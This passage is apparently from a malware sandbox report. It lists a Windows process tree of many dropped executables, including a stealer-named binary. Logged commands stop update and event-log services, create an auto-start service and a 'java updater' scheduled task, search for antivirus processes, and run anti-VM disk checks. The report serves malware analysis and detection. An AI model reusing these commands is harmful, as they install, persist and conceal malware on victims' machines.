      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:3352
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:2680
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:2216
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:4784
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:1268
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:2428
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:960
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:1408
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "LDQRSTKE"
      4⤵
      Launches sc.exe
      PID:1196
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "LDQRSTKE" binpath= "C:\ProgramData\bjvvxgbjmpij\npldfzxzkixc.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:2904
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:4532
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "LDQRSTKE"
      4⤵
      Launches sc.exe
      PID:1156
- - C:\Users\Admin\AppData\Local\Temp\Files\document.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\document.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:392
  - - C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
      "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
      4⤵
      System Location Discovery: System Language Discovery
      PID:1516
    - - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\Squirrel.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\Squirrel.exe" --updateSelf=C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
        5⤵
        
        PID:5852
    - - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --squirrel-install 1.0.0
        5⤵
        Loads dropped DLL
        
        PID:5900
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1688 --field-trial-handle=1692,i,11501729326383767666,8487990922421573515,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        6⤵
        Loads dropped DLL
        
        PID:6072
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --mojo-platform-channel-handle=1892 --field-trial-handle=1692,i,11501729326383767666,8487990922421573515,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
        6⤵
        Loads dropped DLL
        
        PID:6096
    - - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --squirrel-firstrun
        5⤵
        Loads dropped DLL
        
        PID:5508
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2112 --field-trial-handle=2160,i,17692147120610099715,5824197439921906400,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        6⤵
        Loads dropped DLL
        
        PID:5820
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --mojo-platform-channel-handle=2228 --field-trial-handle=2160,i,17692147120610099715,5824197439921906400,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
        6⤵
        Loads dropped DLL
        
        PID:5644
- - C:\Users\Admin\AppData\Local\Temp\Files\hfs.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hfs.exe"
    3⤵
    PID:2112
- - C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:2520
  - - C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe"
      4⤵
      PID:5548
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2520 -s 264
      4⤵
      Program crash
      PID:5616
- - C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe"
    3⤵
    PID:1400
- - C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3616
- - C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe"
    3⤵
    - Drops file in System32 directory
    PID:4256
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5140
- - C:\Users\Admin\AppData\Local\Temp\Files\Beefy.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Beefy.exe"
    3⤵
    PID:5056
- - C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3712
  - - C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe"
      4⤵
      PID:5264
  - - C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe"
      4⤵
      PID:5260
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3712 -s 320
      4⤵
      Program crash
      PID:5384
- - C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe"
    3⤵
    PID:5180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
      4⤵
      PID:5484
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        
        clamer.exe -priverdD
        5⤵
        
        PID:5656
      - C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"
        6⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4924
- - C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
    3⤵
    - Adds Run key to start application
    - Drops file in Windows directory
    PID:5420
  - - C:\Windows\sysnldcvmr.exe
      C:\Windows\sysnldcvmr.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: SetClipboardViewer
      PID:1708
    - - C:\Users\Admin\AppData\Local\Temp\3118127800.exe
        
        C:\Users\Admin\AppData\Local\Temp\3118127800.exe
        5⤵
        
        PID:3660
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:5908
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:1624
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:5396
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3324
    - - C:\Users\Admin\AppData\Local\Temp\205518708.exe
        
        C:\Users\Admin\AppData\Local\Temp\205518708.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6044
    - - C:\Users\Admin\AppData\Local\Temp\248109462.exe
        
        C:\Users\Admin\AppData\Local\Temp\248109462.exe
        5⤵
        
        PID:5912
- - C:\Users\Admin\AppData\Local\Temp\Files\5_6253708004881862888.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\5_6253708004881862888.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:5620
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5652
- - C:\Users\Admin\AppData\Local\Temp\Files\splwow64_1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\splwow64_1.exe"
    3⤵
    - Drops file in Windows directory
    PID:4888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
      4⤵
      PID:5636
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5892
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4844
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:4040
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5276
- - C:\Users\Admin\AppData\Local\Temp\Files\14082024.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\14082024.exe"
    3⤵
    - Modifies system certificate store
    PID:5412
- - C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe"
    3⤵
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    PID:4776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe > nul
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:1468
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 2 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8324
- - C:\Users\Admin\AppData\Local\Temp\Files\me.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\me.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5300
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\Desktop\..\360Downloads\Pester.bat
      4⤵
      PID:1852
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 4 127.0.0.1
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6112
- - C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1872
- - C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe"
    3⤵
    PID:3056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
      4⤵
      PID:5724
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get Model
        5⤵
        
        PID:5348
    - - C:\Windows\system32\findstr.exe
        
        findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
        5⤵
        
        PID:6120
- - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
    3⤵
    PID:1476
  - - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
      4⤵
      PID:6112
- - C:\Users\Admin\AppData\Local\Temp\Files\random.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
    3⤵
    PID:2584
  - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      4⤵
      PID:6108
    - - C:\Users\Admin\AppData\Local\Temp\1001698001\867186f74f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001698001\867186f74f.exe"
        5⤵
        
        PID:6776
      - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        
        "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
        6⤵
        
        PID:7020
        
        C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
        7⤵
        
        PID:5704
        
        C:\Users\Admin\AppData\Local\Temp\1000817001\splwow64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000817001\splwow64.exe"
        7⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Beijing Beijing.bat & Beijing.bat
        8⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\1000833001\b25fd1460a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000833001\b25fd1460a.exe"
        7⤵
        
        PID:7428
        
        C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe"
        7⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe"
        8⤵
        
        PID:9256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8868 -s 300
        8⤵
        Program crash
        
        PID:9376
        
        C:\Users\Admin\AppData\Local\Temp\1002552001\ha7dur10.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1002552001\ha7dur10.exe"
        7⤵
        
        PID:10252
        
        C:\Windows\Temp\{43B8F379-A13A-4707-93D2-E004710CD7F4}\.cr\ha7dur10.exe
        
        "C:\Windows\Temp\{43B8F379-A13A-4707-93D2-E004710CD7F4}\.cr\ha7dur10.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\1002552001\ha7dur10.exe" -burn.filehandle.attached=564 -burn.filehandle.self=728
        8⤵
        
        PID:11144
    - - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        5⤵
        
        PID:5208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6672
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6688
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6060
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5872
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6120
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6720
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6716
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6472
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6744
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6756
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6564
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6508
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6504
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:916
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5968
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6936
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6976
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6944
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6932
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6992
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6984
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6960
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6808
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6816
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6856
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6868
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6884
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6900
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2968
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5064
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5692
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6096
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6292
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6304
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5732
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6312
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6220
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5524
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:392
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6248
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6480
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6512
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6348
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6380
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
